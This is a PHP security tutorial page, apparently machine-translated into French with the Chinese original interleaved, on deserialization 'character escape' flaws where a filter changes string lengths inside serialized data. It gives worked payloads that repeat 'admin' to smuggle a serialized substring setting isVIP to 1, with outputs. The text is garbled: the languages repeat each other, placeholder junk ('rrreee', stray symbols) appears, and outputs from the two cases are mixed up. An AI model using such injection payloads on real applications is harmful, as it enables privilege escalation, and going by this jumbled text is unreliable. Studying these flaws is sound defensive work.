Maison > Article > développement back-end > Compréhension approfondie des principes d'échappement des caractères de désérialisation en PHP
Lorsque les développeurs l'utilisent, ils sérialisent d'abord l'objet, puis filtrent les caractères de l'objet, et enfin le désérialisent. À l'heure actuelle, il peut y avoir une vulnérabilité dans l'échappement des caractères de désérialisation PHP.
Pour l'échappement des caractères de désérialisation PHP, nous en discuterons dans les deux situations suivantes.
Il y a plus de caractères après le filtrage
Il y a moins de caractères après le filtrage
Il y a plus de caractères après le filtrage
Supposons que nous définissions d'abord une classe user
, puis à l'intérieur Il y a 3 variables membres au total : username
, password
, isVIP
. user
类,然后里面一共有3个成员变量:username
、password
、isVIP
。
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
可以看到当这个类被初始化的时候,isVIP
变量默认是0
,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
这一段程序的输出结果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,对象序列化之后的isVIP
变量是0
。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
function filter($s){ return str_replace("admin","hacker",$s); }
因此整段程序如下:
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到已过滤字符串中的hacker
与前面的字符长度不对应了
s:5:"admin"; s:5:"hacker";
在这个时候,对于我们,在新建对象的时候,传入的admin
就是我们的可控变量
接下来明确我们的目标:将isVIP
变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
也就是说,我们要在admin
这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47
因为我们需要逃逸的字符串长度为47
,并且admin
每次过滤之后都会变成hacker
,也就是说每出现一次admin
,就会多1
个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码如下:
程序输出结果为:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
程序输出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到这个时候,isVIP
这个变量就变成了1
isVIP
est par défaut 0
et n'est pas affectée par les paramètres transmis lors de l'initialisation. Le code complet sera publié prochainement pour faciliter notre analyse. O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Le résultat de sortie de ce programme est le suivant :
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串Vous pouvez voir que la variable
isVIP
après la sérialisation de l'objet est 0
. À ce stade, nous ajoutons une fonction pour remplacer le caractère admin, en remplaçant admin par hacker. La fonction de remplacement est la suivante : ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47Donc, l'ensemble du programme est le suivant :
";s:8:"password";s:6:" //长度为22La sortie de ce programme est :
Comparons le résultat de ces deux programmes :
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}Vous pouvez voir que le
filteredhacker
dans la chaîne ne correspond pas à la longueur de caractère précédente
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:À ce moment, pour nous, lors de la création d'un nouvel objet, le
admin
entrant est notre variable contrôlable Ensuite, nous clarifierons notre objectif : changer la valeur de la variable isVIP
en 1
Nous comparons d'abord notre sous-chaîne existante et notre sous-chaîne cible :
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串En d'autres termes, nous voulons définir l'
admin
Contrôler la position de la variable et injecter notre sous-chaîne cible. Calculez d'abord la longueur de la sous-chaîne cible que nous devons injecter
: Parce que la longueur de la chaîne dont nous avons besoin pour échapper est47
, et admin
après chaque filtre deviendra hacker
, ce qui signifie qu'à chaque fois que admin
apparaîtra, il y aura 1
caractères supplémentaires. Nous répétons donc 47 fois admin au niveau de la variable contrôlable, puis ajoutons notre sous-chaîne cible échappée. La variable contrôlable est modifiée comme suit :
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}Le code complet est le suivant : Le résultat de sortie du programme. est :
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}On peut compter le nombre de hacker, il y a
47
hacker au total, avec un total de 282
caractères, ce qui correspond exactement aux 🎜282🎜 précédentes. 🎜🎜La sous-chaîne injectée à la fin vient également de terminer l'évasion. 🎜🎜🎜Après la désérialisation, les sous-chaînes redondantes seront supprimées🎜🎜🎜Nous désérialisons ensuite le résultat de la sérialisation, puis le produisons. Le code complet est le suivant : 🎜🎜La sortie du programme est la suivante : 🎜object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }🎜Vous pouvez voir At. cette fois, la variable
isVIP
devient 1
, et l'objectif de désérialisation de l'échappement des caractères est atteint. 🎜🎜🎜🎜Moins de caractères après filtrage🎜🎜🎜🎜Ce qui précède décrit la situation où il y a plus de caractères dans l'échappement de caractère de désérialisation PHP. 🎜🎜Ce qui suit commence à expliquer la situation dans laquelle les échappements de caractères de désérialisation sont réduits. 🎜🎜Tout d'abord, le code du corps principal est toujours le même que ci-dessus, c'est toujours la même classe. La différence est que dans la fonction de filtrage, nous avons changé hacker en hack. 🎜🎜Le code complet est le suivant : 🎜rrreee🎜Obtenez le résultat : 🎜rrreee🎜 Comparez également la 🎜sous-chaîne existante🎜 et la 🎜sous-chaîne cible🎜 : 🎜rrreee🎜Car lors du filtrage, 🎜5🎜 caractères ont été supprimés en 🎜4 🎜 , donc contrairement à la situation ci-dessus où le nombre de caractères augmente, à mesure que le nombre d'🎜admin🎜 ajoutés augmente, 🎜la sous-chaîne existante 🎜 sera en retrait. 🎜🎜Calculez la longueur de la 🎜sous-chaîne cible🎜 : 🎜rrreee🎜 Ensuite, calculez la longueur de la chaîne jusqu'à la 🎜prochaine variable contrôlable🎜 : 🎜rrreee🎜Parce que chaque fois que nous filtrons, il y aura 🎜1🎜 caractères en moins, donc nous Répétez d'abord les caractères 🎜admin🎜 🎜22🎜 fois (les 22 fois ici ne sont pas aussi précises que la situation d'évasion avec plus de caractères et devront peut-être être ajustées plus tard) 🎜🎜Le code complet est le suivant : (Il y a 🎜22 admin dans les variables ici. 🎜)🎜rrreee🎜Résultat de sortie : 🎜🎜🎜Remarque : 🎜Le mécanisme de désérialisation PHP est, par exemple, s'il est spécifié qu'il y a 10 caractères, mais que seulement 9 sont lus, des guillemets doubles sont atteints. cette fois, PHP le fera. Le guillemet est traité comme le 10ème caractère, ce qui signifie que le guillemet double n'est pas utilisé pour déterminer si une chaîne est terminée, mais la chaîne est lue selon le nombre spécifié précédemment. 🎜O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
推荐学习:《PHP视频教程》
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!